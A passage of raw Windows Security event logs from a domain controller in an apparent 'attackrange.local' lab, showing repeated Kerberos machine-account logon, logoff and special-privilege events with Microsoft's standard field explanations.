impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249365 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE19BF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249364 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1959 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249363 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1959 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64219 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249362 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1959 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249361 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE18F8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249360 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE18F8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64218 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249359 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE18F8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249382 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1BD2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249381 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1BD2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64225 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249380 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1BD2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249379 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1B71 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249378 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1B71 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64224 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249377 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1B71 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249376 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1B0B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249375 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1B0B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64223 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249374 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1B0B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249373 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1AAA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249372 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1AAA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64222 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249371 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1AAA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249394 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1D6B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249393 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1D6B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64229 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249392 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1D6B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249391 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1D0A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249390 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1D0A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64228 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249389 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1D0A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249388 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1CA4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249387 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1CA4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64227 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249386 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1CA4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249385 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1C43 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info 